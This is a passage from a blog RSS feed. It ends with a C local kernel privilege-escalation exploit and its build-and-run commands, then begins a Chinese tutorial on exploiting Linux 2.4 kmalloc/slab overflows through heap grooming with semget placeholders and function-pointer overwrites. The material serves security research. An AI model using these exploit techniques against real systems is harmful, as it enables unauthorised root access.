&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;char *p[] = {"lcall", 0};<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;execve("lcall", p, 0);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("lcall");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;while (1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;printf("panic ...\n");<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;write(pipe_lcall[1], "start", 6);<br>
&nbsp;&nbsp; &nbsp;sleep(1);<br>
&nbsp;&nbsp; &nbsp;kill(copy_pid, SIGSTOP);<br>
&nbsp;&nbsp; &nbsp;printf("please press &lt;enter&gt; to start
...\n");<br>
&nbsp;&nbsp; &nbsp;getchar();<br>
&nbsp;&nbsp; &nbsp;printf("exploiting, wait a moment ...\n");<br>
<br>
&nbsp;&nbsp; &nbsp;char ofcmd[16];<br>
&nbsp;&nbsp; &nbsp;sprintf(ofcmd, "start%d\0",
lcall_pid);&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;write(pipe_of[1], ofcmd, strlen(ofcmd)+1);<br>
<br>
&nbsp;&nbsp; &nbsp;FILE *fp;<br>
&nbsp;&nbsp; &nbsp;char buf[256];<br>
&nbsp;&nbsp; &nbsp;while(1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;printf("******** in parent,
waiting for root\n");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;fp =
fopen("/proc/interrupts","r");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;while (!feof(fp)) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;fgets(buf,
sizeof(buf), fp);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;printf(buf);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;fclose(fp);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;for(i = 0; i &lt; 2000000000;
i++);<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
err:<br>
&nbsp;&nbsp; &nbsp;if (pipe_lcall[0] != -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(pipe_lcall[0]);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(pipe_lcall[1]);<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;if (pipe_mcd[0] != -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(pipe_mcd[0]);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(pipe_mcd[1]);<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;if (pipe_of[1] != -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(pipe_of[0]);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(pipe_of[1]);<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;return 1;<br>
}<br>
__EOF__<br>
<br>
<br>
make kexp_coredump<br>
make overflow<br>
make mkbadelf<br>
gcc mklcall.c -o mklcall -O2<br>
./mkbadelf<br>
./mklcall<br>
./kexp_coredump
]]></description><guid>http://www.i170.com/Article/27521</guid><trackback:ping>http://www.i170.com/Article/27521/trackback</trackback:ping><comments>http://www.i170.com/Article/27521#comment</comments><wfw:commentRss>http://www.i170.com/Article/27521/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/23382</link><title><![CDATA[Linux内核溢出研究系列(2) - kmalloc溢出技术]]></title><author>grip2</author><category>网络安全,Linux Kernel</category><pubDate>Fri, 28 Apr 2006 16:09:00  +0800</pubDate><description><![CDATA[Linux内核溢出研究系列(2) - kmalloc溢出技术<br>
<br>
作者：grip2 &lt;gript2@hotmail.com&gt;<br>
日期：2006-04-12<br>
<br>
内容：<br>
&nbsp;&nbsp; &nbsp;1 -- 介绍<br>
&nbsp;&nbsp; &nbsp;2 -- kmalloc/slab简介<br>
&nbsp;&nbsp; &nbsp;3 -- kmalloc/slab的关键特性<br>
&nbsp;&nbsp; &nbsp;4 -- kmalloc exploit<br>
&nbsp;&nbsp; &nbsp;5 -- 更进一步<br>
&nbsp;&nbsp; &nbsp;6 -- 最后<br>
&nbsp;&nbsp; &nbsp;7 -- 参考资料<br>
&nbsp;&nbsp; &nbsp;8 -- 附录 (kexp-msfilter.c)<br>
<br>
一、** 介绍<br>
<br>
&nbsp;&nbsp;&nbsp;
关注isec很长时间了，一直对他们在Linux内核方面的技术研究成果很佩服，同时自己也一直<br>
在跟踪和分析这方面的技术，但是由于时间及精力所限一直没能更深入一步进行系统的研究和总<br>
结。这一段恰好有些时间，和airsupply一起在内核溢出方面进行了一些研究，也写出了几个<br>
isec公布的漏洞的利用代码。为了能对我们的阶段性的工作有所归纳和总结，我们开始着手去写<br>
《linux内核溢出研究》系列的paper。写这个文档的一个目的也是为了与国内对这方面有兴趣的<br>
朋友共享我们的经验，促进我们在内核安全方面的研究和交流。<br>
<br>
&nbsp; 阅读这面文档需要你具有一些Linux内核方面的知识，同时要能读懂一点C和汇编代码。文章里<br>
提到的技术和代码是基于x86架构的Linux kernel-2.4.22的，在其它的系统环境中也许有所不同。<br>
<p class="partingline">[separator]</p>
<br>
二、** kmalloc/slab<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;
这部分只是非常简单的介绍一下kmalloc，如果你知道kmalloc和slab是什么，那跳过这部分。<br>
对于kmalloc exploit有用的特性，我们在这里并未描述。<br>
<br>
&nbsp;&nbsp;&nbsp;
slab是一种缓冲区分配和管理的方法，Linux内核也采用了这种方法，并进行了改进。Linux内核<br>
使用slab机制进行管理的缓冲区(caches)有两种，一种是专用缓冲区，另一种是通用缓冲区。通用缓<br>
冲区的分配是通过调用kmalloc函数来完成的，在内核里被广泛使用，在这里我们只关注它。<br>
<br>
我们来看kmalloc函数代码：<br>
<br>
void * kmalloc (size_t size, int flags)<br>
{<br>
&nbsp;&nbsp; &nbsp;cache_sizes_t *csizep = cache_sizes;&nbsp;&nbsp;
&nbsp;&lt;--- A<br>
<br>
&nbsp;&nbsp; &nbsp;for (; csizep-&gt;cs_size; csizep++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (size &gt;
csizep-&gt;cs_size)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return
__kmem_cache_alloc(flags &amp; GFP_DMA ?&nbsp;&nbsp; &nbsp;&lt;---
B<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;
csizep-&gt;cs_dmacachep : csizep-&gt;cs_cachep, flags);<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;return NULL;<br>
}<br>
<br>
A处指向的cache_sizes是一个用来描述通用缓冲池的数据结构，其中根据不同的缓冲区的大小分成<br>
若干队列。它是一个cache_sizes_t类型的数组，数组中的每一个元素描述一个特定尺寸对象的缓冲区，<br>
对于每个尺寸的对象分别对应两个slab队列，一个是用于DMA用途分配，另一个则用于非DMA用途分配。<br>
下面是cache_sizes的定义：<br>
<br>
/* Size description struct for general caches. */<br>
typedef struct cache_sizes {<br>
&nbsp;&nbsp; &nbsp;size_t&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;
cs_size;<br>
&nbsp;&nbsp; &nbsp;kmem_cache_t&nbsp;&nbsp; &nbsp;*cs_cachep;<br>
&nbsp;&nbsp; &nbsp;kmem_cache_t&nbsp;&nbsp;
&nbsp;*cs_dmacachep;<br>
} cache_sizes_t;<br>
<br>
static cache_sizes_t cache_sizes[] = {<br>
#if PAGE_SIZE == 4096<br>
&nbsp;&nbsp; &nbsp;{&nbsp;&nbsp;&nbsp; 32,&nbsp;&nbsp; &nbsp;NULL,
NULL},<br>
#endif<br>
&nbsp;&nbsp; &nbsp;{&nbsp;&nbsp;&nbsp; 64,&nbsp;&nbsp; &nbsp;NULL,
NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp;&nbsp; 128,&nbsp;&nbsp; &nbsp;NULL,
NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp;&nbsp; 256,&nbsp;&nbsp; &nbsp;NULL,
NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp;&nbsp; 512,&nbsp;&nbsp; &nbsp;NULL,
NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp; 1024,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp; 2048,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp; 4096,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp; 8192,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{ 16384,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{ 32768,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{ 65536,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{131072,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; 0,&nbsp;&nbsp;
&nbsp;NULL, NULL}<br>
};<br>
<br>
kmalloc通过一个for循环语句来遍历这个数组中的元素，直到找到一个能够满足调用者指定的size大小的<br>
缓冲区描述，然后在B处根据调用者传入的标志来选择DMA或非DMA slab队列，再调用__kmem_cache_alloc<br>
在该队列中分配一个缓冲区并返回给调用者。<br>
<br>
三、** kmalloc/slab的关键特性<br>
<br>
为了能够利用kmalloc溢出漏洞，我们需要了解与kmalloc的三个关键特性(由于kmalloc是基于slab算法的，<br>
因此kmalloc的特性几乎完全由slab算法的实现决定8-)<br>
<br>
1、kmalloc/slab是基于伙伴算法的，一个slab块包含多个slab对象，它们是相邻的<br>
<br>
slab管理的对象的缓冲区队列是由一连串的slab块组成，而每个slab块内包含若干同种对象。换句话说，<br>
每个slab块内包含多个同种slab对象，对于kmalloc来说，就是在同一个slab块内存放了多个同样大小的<br>
slab对象，即在一个slab块内kmalloc可以分配的内存块是相邻的。<br>
<br>
这一点可以通过slab分配代码看出来。当现有slab队列中没有空闲的slab对象时，kmem_cache_grow函数将<br>
被调用。在kmem_cache_grow将会进一步调用kmem_getpages为slab缓冲区分配新的内存，<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;/* Get mem for the objs. */<br>
&nbsp;&nbsp; &nbsp;if (!(objp = kmem_getpages(cachep, flags)))<br>
&nbsp;&nbsp; &nbsp;...<br>
<br>
而在kmem_getpages函数里最终调用了__get_free_pages(即system's page
allocator，它使用了伙伴算法)，<br>
同时传入了cachep-&gt;gfporder指定分配的页面数量，注意gfporder是每个slab块占用的页面数，<br>
<br>
static inline void * kmem_getpages (kmem_cache_t *cachep, unsigned
long flags)<br>
{<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;flags |= cachep-&gt;gfpflags;<br>
&nbsp;&nbsp; &nbsp;addr = (void*) __get_free_pages(flags,
cachep-&gt;gfporder);<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;return addr;<br>
}<br>
<br>
2、kmalloc/slab的分配和释放使用的是LIFO队列<br>
<br>
这一点从代码很容易看出：<br>
<br>
kmalloc -&gt; __kmem_cache_alloc -&gt; skmem_cache_alloc_one -&gt;
kmem_cache_alloc_one_tail<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;slabp-&gt;inuse++;<br>
&nbsp;&nbsp; &nbsp;objp = slabp-&gt;s_mem +
slabp-&gt;free*cachep-&gt;objsize;<br>
&nbsp;&nbsp;
&nbsp;slabp-&gt;free=slab_bufctl(slabp)[slabp-&gt;free];<br>
&nbsp;&nbsp; &nbsp;...<br>
<br>
kfree -&gt; __kmem_cache_free -&gt; kmem_cache_free_one<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;{<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;unsigned int objnr =
(objp-slabp-&gt;s_mem)/cachep-&gt;objsize;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;slab_bufctl(slabp)[objnr] =
slabp-&gt;free;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;slabp-&gt;free = objnr;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;...<br>
<br>
3、kmalloc/slab分配的内存释放的时候，内容并没有被清除<br>
<br>
四、** kmalloc exploit<br>
<br>
我们来看一个例子：<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp; -------------------------------------<br>
&nbsp;&nbsp; &nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp; ...&nbsp; | slab对象A | slab对象B
|&nbsp;&nbsp; ... &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp; -------------------------------------<br>
<br>
假设上面是一个64字节通用缓冲区中的一个slab块，块中有多个slab对象，内核中有如下代码片段<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;char *buf = kmalloc(64);<br>
&nbsp;&nbsp; &nbsp;copy_from_user(buf, parm, 80);<br>
&nbsp;&nbsp; &nbsp;...<br>
<br>
当kmalloc时，slab对象A被分配给buf，当执行copy_from_user后，buf将被溢出。在slab块中，与对<br>
象A相邻的对象B将被溢出16个字节，如果此时对象B恰好被分配用于存放一个重要的数据结构，那么我<br>
们就有可能通过更改这个数据结构中的某个重要的变量值提升权限(通常某个函数指针是一个好的选择)！<br>
<br>
是不是看起来很容易？但是要注意了，要成功的利用上面这个例子的漏洞，我们还有几个问题需要解决：<br>
<br>
？如何才能使被溢出的slab对象和我们想要覆盖的目标数据结构所在的slab对象是相邻的？<br>
<br>
要做到这点，我们必需保证连续的两次对同一大小slab的申请能够得到相邻的两个slab对象。事实上，<br>
在真实的系统环境中这一点是很难保证的，因为在系统使用过程中，内核会经常的使用kmalloc分配<br>
内存，使用完成后又使用kfree释放，这样就使得slab算法维护的可分配slab对象表(partially and free
slabs list)<br>
中slab对象之间是没有任何位置关系的，也就是说这时我们连续两次申请得到的内存块，不但不能保<br>
证它们是相邻的，甚至不能保证它们位于同一个slab块内，这样我们的溢出将是完全不可控的。<br>
<br>
为了解决这个问题，在UNF的paper中提到了一个“经验”方法。这个方法就是：在他们的测试环境中，<br>
在将现有的slab消耗(不断的分配)到只剩下最后四个未被分配的slab对象时，对这最后四个slab对象<br>
的申请所得到的内存块地址将是连续的。<br>
<br>
在我的实际测试中，这个方法确实有一定的成功率，但是这个方法过于“经验”，对系统环境的依赖性<br>
很强，在实际环境中有时非常容易失败，进而导致系统崩溃。<br>
<br>
不过我们想到了一个改进的更好的方法。我们首先耗尽我们的溢出所关注的slab缓冲区中现有的所有slab<br>
对象，这时再有对这个slab缓冲区的分配请求的话，系统将创建一块新的slab块，然后从这个新的slab<br>
块中分配一个slab对象返回给申请者。我们来看看系统对新slab块中的slab对象是如何初始化的，<br>
<br>
static inline void kmem_cache_init_objs (kmem_cache_t * cachep,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;slab_t *
slabp, unsigned long ctor_flags)<br>
{<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;for (i = 0; i &lt; cachep-&gt;num; i++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;void* objp =
slabp-&gt;s_mem+cachep-&gt;objsize*i;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;slab_bufctl(slabp)[i] =
i+1;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;slab_bufctl(slabp)[i-1] = BUFCTL_END;<br>
&nbsp;&nbsp; &nbsp;slabp-&gt;free = 0;<br>
}<br>
<br>
可以看到在for循环内，新的slab块将按照cachep-&gt;objsize将内存分成若干块，每块就是一个slab对象。<br>
对每一个新的slab对象都有一个slab_bufctl(slabp)[i] = i+1处理。这个语句的作用是把当前对象的<br>
下一个free对象设置为当前slab块内地址与其相邻的下一个对象。最后初始化函数将slab块的第一个free<br>
对象设置为0，即块中的第一个对象。到这里就不难看出，对于新分配的slab块，块内的free-slab表(实际<br>
上可以看做是一个LIFO队列)中的对象在内存上都是顺序的，这样我们再申请的slab分配得到的slab对象<br>
就都是相邻的。<br>
<br>
？如何才能保证kmalloc溢出时目标数据结构已经在相邻的slab对象中了呢？<br>
<br>
虽然在处理上面的问题时，我们已经可以得到相邻的两个slab对象了，但是往往在第一个被溢出的slab<br>
分配后，在返回到应用程序之前溢出就已经发生了(看前面的例子)，而这时我们的第二个slab对象还没<br>
被申请，我们要覆盖的数据结构还没在内存中，这样我们的溢出就无法利用了。<br>
<br>
这时我们前面介绍的kmalloc的第二个特性就有用了。由于slab对内存的分配释放是使用LIFO队列，所以<br>
我们可以这样做：首先触发发一个个kalloc去分配与溢出目标尺寸的slab对象作为placeholder(占位)，<br>
然后再去触发目标数据结构所需的内存的kmalloc，这时slab块中的情景如下：<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;
------------------------------------------<br>
&nbsp;&nbsp; &nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp; ...&nbsp; | placeholder&nbsp;
|&nbsp;&nbsp; obj-struct&nbsp; |&nbsp; ... &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;
------------------------------------------<br>
<br>
然后我们释放掉placeholder，然后再触发被将溢出的slab对象的分配，由于slab对象的分配释放使用的是<br>
一个后入先出队列，所以将被溢出的slab对象就是刚被释放的placeholder。在溢出发生前，内存的情景如下：<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;
------------------------------------------<br>
&nbsp;&nbsp; &nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp; ...&nbsp; | overflow-obj |&nbsp;&nbsp;
obj-struct&nbsp; |&nbsp; ... &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;
------------------------------------------<br>
&nbsp;&nbsp; &nbsp;<br>
通过这个办法，就保证kmalloc溢出时目标数据结构已经在相邻的slab对象中了，这样我们就可以覆盖我们<br>
指定的数据结构。<br>
<br>
？我们如何在应用层做到上面提到的slab对象消耗和分配placeholder呢？<br>
<br>
有多个系统调用可以完成这个任务，几个用于IPC的系统调用都可以，但是UNF的paper中提到的sys_semget<br>
比较好，因为它分配的slab对象的尺寸是可控的。每次我们调用sys_semget创建信号量，内核都会使用<br>
kmalloc分配一块内存存放相关数据结构，而且这个数据结构一直存在，直到我们调用删除操作。<br>
<br>
sys_semget -&gt; newary<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;size = sizeof (*sma) + nsems * sizeof (struct
sem);<br>
&nbsp;&nbsp; &nbsp;sma = (struct sem_array *) ipc_alloc(size);<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;<br>
注意上面计算size的代码中的nsems是系统调用的参数，在应用层可以指定。这样我们就可以在任意尺寸的<br>
通用缓冲区中来完成slab对象的消耗和占位。<br>
<br>
？我们如何知道什么时候slab被耗尽了呢？从哪里可以看出系统当前还有多少active的slab对象呢？<br>
<br>
通过/proc/slabinfo可以得到系统kmalloc的slab信息<br>
<br>
grip2@debian:~$ cat /proc/slabinfo<br>
slabinfo - version: 1.1<br>
...<br>
size-131072(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0 131072&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 32<br>
size-131072&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0 131072&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 32<br>
size-65536(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp; 65536&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 16<br>
size-65536&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp; 65536&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 16<br>
size-32768(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp; 32768&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 8<br>
size-32768&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp; 32768&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 8<br>
size-16384(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp; 16384&nbsp;&nbsp;&nbsp;
1&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; 4<br>
size-16384&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp; 16384&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; 4<br>
size-8192(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;
8192&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
2<br>
size-8192&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
14&nbsp;&nbsp;&nbsp;&nbsp; 14&nbsp;&nbsp; 8192&nbsp;&nbsp;
14&nbsp;&nbsp; 14&nbsp;&nbsp;&nbsp; 2<br>
size-4096(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;
4096&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
1<br>
size-4096&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
30&nbsp;&nbsp;&nbsp;&nbsp; 32&nbsp;&nbsp; 4096&nbsp;&nbsp;
30&nbsp;&nbsp; 32&nbsp;&nbsp;&nbsp; 1<br>
size-2048(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;
2048&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
1<br>
size-2048&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
41&nbsp;&nbsp;&nbsp;&nbsp; 44&nbsp;&nbsp; 2048&nbsp;&nbsp;
22&nbsp;&nbsp; 22&nbsp;&nbsp;&nbsp; 1<br>
size-1024(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;
1024&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
1<br>
size-1024&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
30&nbsp;&nbsp;&nbsp;&nbsp; 36&nbsp;&nbsp; 1024&nbsp;&nbsp;&nbsp;
8&nbsp;&nbsp;&nbsp; 9&nbsp;&nbsp;&nbsp; 1<br>
size-512(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
512&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 1<br>
size-512&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
74&nbsp;&nbsp;&nbsp;&nbsp; 80&nbsp;&nbsp;&nbsp; 512&nbsp;&nbsp;
10&nbsp;&nbsp; 10&nbsp;&nbsp;&nbsp; 1<br>
size-256(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
256&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 1<br>
size-256&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
